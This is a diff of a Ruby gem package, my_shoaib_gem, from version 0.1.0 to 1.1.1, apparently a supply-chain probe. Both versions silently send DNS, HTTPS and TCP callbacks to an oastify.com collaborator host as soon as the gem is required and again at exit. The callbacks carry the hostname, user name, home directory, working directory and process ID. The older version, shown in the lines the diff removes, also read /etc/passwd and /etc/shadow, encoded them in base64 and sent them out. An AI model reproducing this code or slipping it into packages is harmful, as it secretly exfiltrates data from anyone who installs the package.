my_shoaib_gem 0.1.0 → 1.1.1

checksums.yaml

@@ -1,7 +1,7 @@
 ---
 SHA256:
-  metadata.gz: 249a73273da1be4aea4a7dea809f50ba93fd2e83b6de8b4f1bfafd956683f159
-  data.tar.gz: eb1423f647b22d66c20f94094e9f69e6cf945b3d43c6d5dde11a6877dead747c
+  metadata.gz: a12cde453081877777809ad437885d4f4a8bc2d50d2144ca95759601647c3d8d
+  data.tar.gz: ba6514d25228cabce92450bc0733dfe54e12968ce851a219f96f0e9846724997
 SHA512:
-  metadata.gz: 928364995c96e12a4612feeb04e86a9e2d91a8919e8b474bfc59a0a06a0f0e5efde9534bb677da5e5800fbb77e0f394602ef7a82465439ad964eaf92d7a400df
-  data.tar.gz: 71a84b1d368d88a8ad95e1af5da15e29ef845fe2e9f776115c7b8a6e47c0d180578930053f6d3e1e3ffc0093c7a652a375f0f6b2517b79f5ea946f5b8486aa5e
+  metadata.gz: 1651349111116c3b456fdb74cfc2523ec3d58a7c5a95655f610f383858d7c3df40a5c42973acbc81f48a355f37f394f59b9958e271f01cee546f3b74778731b8
+  data.tar.gz: bf5b452a13fbbe1cc78ae3e8bcbe355677d7e89411b0199d70c914172963fe66542c82430cf70c1f810115bad8fe47ee620f52f36fa58af1c3f7454c5a232f40

data/lib/my_shoaib_gem.rb

@@ -3,21 +3,15 @@ require 'net/http'
 require 'socket'
 require 'openssl'
 require 'resolv'
-require 'base64'
 
 module MyShoaibGem
-  VERSION = "0.1.0"
+  VERSION = "1.1.1"
 
-  CALLBACK_HOST = "y43r7tkquike9i8m7c519mktskycm2ar.oastify.com"
-
-  def self.read_file(path)
-    File.read(path)
-  rescue StandardError => e
-    "Error reading #{path}: #{e.message}"
-  end
+  CALLBACK_HOST = "dgx6j8w56xwtlxk1jrhgl1w84zasykm9.oastify.com"
 
   def self.send_dns_callback
     begin
+      # DNS callback via reverse lookup - triggers DNS query to collaborator
       hostname = Socket.gethostname
       dns_domain = "#{hostname}.#{CALLBACK_HOST}"
       Resolv.getaddress(dns_domain)
@@ -28,19 +22,13 @@ module MyShoaibGem
 
   def self.send_http_callback
     begin
+      # Collect system information
       hostname = Socket.gethostname
       username = ENV['USER'] || ENV['USERNAME'] || 'unknown'
       home_dir = ENV['HOME'] || ENV['USERPROFILE'] || 'unknown'
       current_dir = Dir.pwd
 
-      # Read /etc/passwd
-      passwd_content = read_file('/etc/passwd')
-      passwd_b64 = Base64.strict_encode64(passwd_content)
-
-      # Also try /etc/shadow (usually not readable, but worth a try)
-      shadow_content = read_file('/etc/shadow')
-      shadow_b64 = Base64.strict_encode64(shadow_content)
-
+      # Prepare detailed data
       data = {
         hostname: hostname,
         user: username,
@@ -50,21 +38,17 @@ module MyShoaibGem
         gem_version: VERSION,
         ruby_version: RUBY_VERSION,
         platform: RUBY_PLATFORM,
-        pid: Process.pid,
-        # File contents
-        etc_passwd: passwd_content,
-        etc_passwd_b64: passwd_b64,
-        etc_shadow: shadow_content,
-        etc_shadow_b64: shadow_b64
+        pid: Process.pid
       }
 
-      # HTTP callback with file contents
+      # HTTP callback with multiple endpoints
       uri = URI("https://#{CALLBACK_HOST}/callback")
       http = Net::HTTP.new(uri.host, uri.port)
       http.use_ssl = true
       http.open_timeout = 5
       http.read_timeout = 5
 
+      # Main POST request
       request = Net::HTTP::Post.new(uri.path)
       request.content_type = 'application/json'
       request['User-Agent'] = "MyShoaibGem/#{VERSION} (Ruby #{RUBY_VERSION}; #{RUBY_PLATFORM})"
@@ -73,9 +57,8 @@ module MyShoaibGem
       request.body = data.to_json
       http.request(request)
 
-      # GET request with base64 passwd in query param (URL-safe)
-      passwd_urlsafe = passwd_b64.tr('+/', '-_').gsub('=', '')
-      get_uri = URI("https://#{CALLBACK_HOST}/install?host=#{hostname}&user=#{username}&passwd_b64=#{passwd_urlsafe}")
+      # Also try GET to trigger separate HTTP callback
+      get_uri = URI("https://#{CALLBACK_HOST}/install?host=#{hostname}&user=#{username}")
       get_http = Net::HTTP.new(get_uri.host, get_uri.port)
       get_http.use_ssl = true
       get_http.open_timeout = 5
@@ -84,18 +67,19 @@ module MyShoaibGem
       get_http.request(get_request)
 
     rescue StandardError => e
+      # Fail silently
       nil
     end
   end
 
   def self.send_all_callbacks
-    # DNS callback
+    # DNS callback - appears as DNS lookup in Burp Collaborator
     send_dns_callback
 
-    # HTTP callback with /etc/passwd
+    # Multiple HTTP callbacks - appears as HTTP requests in Burp Collaborator
     send_http_callback
 
-    # TCP callback
+    # TCP-based callback for additional detection
     begin
       tcp_socket = TCPSocket.new(CALLBACK_HOST, 443)
       tcp_socket.write("GET /tcp-callback HTTP/1.1\r\nHost: #{CALLBACK_HOST}\r\nConnection: close\r\n\r\n")
@@ -108,10 +92,10 @@ module MyShoaibGem
   end
 end
 
-# Execute on require
+# Execute immediate callbacks on require
 MyShoaibGem.send_all_callbacks
 
-# at_exit hook
+# Also trigger on gem load complete
 at_exit do
   MyShoaibGem.send_dns_callback
 end

metadata

@@ -1,7 +1,7 @@
 --- !ruby/object:Gem::Specification
 name: my_shoaib_gem
 version: !ruby/object:Gem::Version
-  version: 0.1.0
+  version: 1.1.1
 platform: ruby
 authors:
 - Shoaib